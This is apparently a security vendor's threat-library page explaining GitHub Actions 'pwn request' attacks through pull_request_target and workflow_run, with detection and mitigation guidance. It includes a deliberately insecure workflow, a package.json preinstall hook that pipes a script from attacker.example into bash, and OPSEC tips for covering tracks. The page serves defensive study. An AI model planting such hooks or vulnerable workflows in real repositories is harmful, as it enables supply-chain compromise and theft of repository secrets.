1. Resources
  2. Identity Threats
  3. GitHub

GitHub Actions Pwn Request (pull_request_target Abuse)

Also known as: Pwn request, pull_request_target abuse, Poisoned pipeline execution, workflow_run privilege escalation

Anyone who can open a pull request from a fork can run code in a pull_request_target or workflow_run job that checks out their changes, and take its write token and secrets.

Platform
GitHub
Impact
Critical
Last updated
Attack difficulty
Medium
Detection difficulty
High
Privileges required: No account
A GitHub account that can fork the repository and open a pull request. No membership or write access in the target organization is needed.
What the attacker gains
Code execution in a base-repository job: its write-capable GITHUB_TOKEN, repository and organization secrets, and the cloud roles those open.
Threat groups
APT41Cobalt GroupDaggerflyDragonflyFIN7GOLD SOUTHFIELDMoonstone SleetSandworm TeamThreat Group-3390APT28APT29APT33APT38APT5and 9 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1195.002, T1550.001, T1078.004.

How it works

GitHub Actions has three triggers that react to a pull request, and they place the contributor's content in three different trust contexts.

  • pull_request runs against the merge ref. When the pull request comes from a fork, GitHub does not pass secrets to the runner and the GITHUB_TOKEN is read-only.
  • pull_request_target runs the workflow definition from the default branch of the base repository. The job gets a read and write GITHUB_TOKEN and can use the base repository's secrets, even when a public fork triggers it. GITHUB_SHA and GITHUB_REF point at the default branch, not at the pull request.
  • workflow_run starts a workflow in the base repository after another workflow is requested or completes. GitHub documents that the started workflow can access secrets and write tokens even if the earlier workflow could not.

pull_request_target exists so that maintainers can label, triage or comment on pull requests from forks, which needs write access. It is safe as long as the job only touches metadata. A pwn request happens when the privileged job also brings the contributor's code into its workspace and runs something from it. The usual line is a checkout of github.event.pull_request.head.sha or refs/pull/<number>/merge, followed by a build, a package install, a test run or a local action. From that point the pull request author is running code in a job that holds the repository's write token and secrets.

Variants of the same mistake:

  • workflow_run chaining. An unprivileged pull_request workflow builds the fork's code and uploads an artifact. A privileged workflow_run workflow downloads the artifact and executes or trusts it. See artifact and cache poisoning.
  • Comment triggered builds. issue_comment also runs from the default branch and fires for comments on pull requests. A "/test" style workflow that checks out the pull request head has the same exposure.
  • Approval races. A workflow gated on a label such as safe to test still races: the author can push new commits after a maintainer applies the label and before the job checks out the code.
  • Injection without checkout. A privileged job that interpolates the pull request title or branch name into a script is exploitable without any checkout. See workflow script injection.

Prerequisites

  • A GitHub account. For a public repository nothing else is needed; for a private or internal repository the attacker needs read access so that they can fork it and open a pull request.
  • A workflow on the default branch that triggers on pull_request_target, workflow_run or issue_comment and then checks out, builds, installs or otherwise executes content from the pull request.
  • Something worth taking in the job: a GITHUB_TOKEN with write scopes, repository or organization secrets, id-token: write, or a self-hosted runner.

The fork approval setting does not close this path. GitHub documents that workflows triggered by pull_request_target always run, regardless of the approval settings, because they run in the context of the base branch. Approval only holds back pull_request runs, which feed the workflow_run variant, and the default covers first-time contributors only.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find privileged workflows that consume pull request content

Static analysis of the workflow files is enough. zizmor flags the triggers and Gato-X follows the checkout and the steps after it:

# Audit a remote repository; dangerous-triggers flags pull_request_target, workflow_run and issue_comment
zizmor --gh-token $(gh auth token) octo-org/octo-repo

# Gato-X: one repository, or a list of repositories
export GH_TOKEN=<personal access token>
gato-x enumerate -r octo-org/octo-repo
gato-x e -R repositories.txt -oJ results.json

A manual check on a clone works too:

grep -rnE "pull_request_target|workflow_run|issue_comment" .github/workflows/
grep -rnE "github\.event\.pull_request\.head\.(sha|ref)|refs/pull/" .github/workflows/

A vulnerable workflow looks like this:

# INSECURE: privileged trigger plus checkout and build of the pull request head
on: pull_request_target

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: |
          npm install
          npm run build
      - uses: octo-org/deploy-preview@v1
        with:
          token: ${{ secrets.DEPLOY_TOKEN }}

2. Choose the execution point

Every file the job runs after the checkout belongs to the attacker. The Security Lab write-up lists the common ones: preinstall and postinstall scripts that npm install runs, build scripts and Makefiles, test files, and any script the workflow calls by path. The attacker picks the first one that executes.

3. Open the pull request from a fork

Fork the repository, change the chosen file, and open a pull request against the base repository. For example, in package.json:

{
  "scripts": {
    "preinstall": "curl -sSf https://attacker.example/stage.sh | bash"
  }
}

The workflow definition is not touched. The run uses the trusted file from the default branch, and that file hands control to the fork's code.

4. Collect the credentials in the job

Inside the job, the payload has what the job has:

  • The GITHUB_TOKEN. With actions/checkout and its default persist-credentials: true, the token is stored on disk and any later step can read it. Even without that, the token is in the runner's memory for the job.
  • Secrets that the workflow passes to any step, plus the ability to change later steps so they hand over more.
  • An OIDC assertion, when the job has id-token: write. See GITHUB_TOKEN and installation token abuse for the request and GitHub Actions OIDC role trust misconfiguration in AWS for what it buys.
  • The default-branch cache scope, which lets the payload plant entries that release workflows restore later.

5. Use the access before the job ends

The GITHUB_TOKEN expires when the job finishes, so the payload acts inside the run: it pushes a commit, moves a tag, uploads a release asset, approves a pull request or dispatches another workflow. Stolen secrets and long-lived cloud keys outlive the job and are used afterwards.

Impact

A pwn request turns an anonymous contributor into a writer of the repository. With contents: write the attacker changes source or release assets and every consumer of the project receives the result, which is a software supply chain compromise. With secrets the attacker reaches package registries, deployment targets and cloud accounts. It is a direct privilege escalation from no access to the identity of the organization's build system.

OPSEC and artifacts

  • Closing the pull request and deleting the fork. Operators close the pull request right after the run starts and remove the fork. The workflow run, its jobs and its logs stay in the base repository until retention expires or someone deletes them, and the organization audit log keeps the run events.
  • Quiet payloads. A payload that redirects its output keeps the job log clean. The log still records the checkout of the head SHA, the steps that ran and their duration.
  • Deleting the run. An attacker who gains enough access to delete workflow runs or logs removes the job log. The deletion writes its own audit event, covered by the workflow run or logs deleted rules on the workflows.delete_workflow_run event.
  • Run records. The audit log actions workflows.created_workflow_run, workflows.prepared_workflow_job and workflows.completed_workflow_run carry the repository, the actor and the time. They are available through the REST API, streaming and exports, not in the web audit log view. The run record adds event, head_sha, run_attempt, actor and triggering_actor.
  • Downstream use. Commits, tags, releases and package versions created with the stolen token carry the github-actions[bot] identity. Cloud sign-ins made with stolen secrets appear in the cloud provider's logs, not in GitHub.

Detection

No single GitHub event says "untrusted code ran in a privileged job". Detection combines a posture check with run-level hunting.

  • Find the exposure before the attacker does. Run zizmor or Gato-X across the organization on a schedule and treat every pull_request_target, workflow_run or issue_comment workflow that checks out pull request content as a finding.
  • Hunt in run history. List runs of the privileged triggers and compare each headSha with commits that exist in the base repository. A privileged run whose head commit lives only in a fork deserves a look at its job log.
gh run list --repo octo-org/octo-repo --event pull_request_target \
  --json databaseId,event,headBranch,headSha,conclusion,createdAt --limit 100
gh run view 1234567890 --repo octo-org/octo-repo --log
repo:octo-org/octo-repo action:workflows.prepared_workflow_job

Mitigation

  • Do not run pull request code in a privileged job. Build and test with pull_request, which gives forks a read-only token and no secrets. Keep pull_request_target for jobs that only read event metadata.
  • Split the work when you need both. Let the pull_request workflow build and upload an artifact, and let a workflow_run workflow do the privileged part. Treat the artifact as untrusted data: extract it outside the workspace, validate it, and never execute it.
  • Declare minimal permissions. Set the default GITHUB_TOKEN to read-only for the organization and add scopes per job, following least privilege. A job with permissions: {} has nothing to steal.
  • Put secrets behind environments with required reviewers and branch restrictions, so that a job started from a fork cannot reach deployment credentials without an approval.
  • Require approval for all external contributors in the fork pull request settings, and review the diff, including lockfiles and build scripts, before approving a run. This protects pull_request runs and what they upload; it does not gate pull_request_target.
  • Add .github/workflows to CODEOWNERS and lint workflows in CI with zizmor so that a new dangerous trigger does not merge unnoticed.
  • Close or rebase open pull requests after fixing a workflow. Pull requests opened before the fix can still trigger the old behaviour.

Detection rules for this attack

Log events to collect

FAQ

What is a pwn request?

It is a pull request that gets its own code executed by a privileged workflow. The workflow is triggered by pull_request_target or workflow_run, so it runs with the base repository's write token and secrets, and then it checks out or consumes content the pull request author controls.

Is pull_request_target always dangerous?

No. A pull_request_target job that only reads event metadata, for example to label or comment on a pull request, never runs the contributor's code. The risk starts when the job checks out the pull request head and runs anything from it: a build, an install, tests, or a local action.

Does requiring approval for fork pull requests stop a pwn request?

Not for pull_request_target. GitHub documents that workflows triggered by that event always run, regardless of the approval settings, because they run in the context of the base branch. Approval only delays pull_request runs from outside contributors.

How is pull_request different from pull_request_target?

For a fork, pull_request runs on the merge ref with a read-only GITHUB_TOKEN and no secrets. pull_request_target runs the workflow from the base repository's default branch with a read and write token and access to secrets, even when a public fork triggers it.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.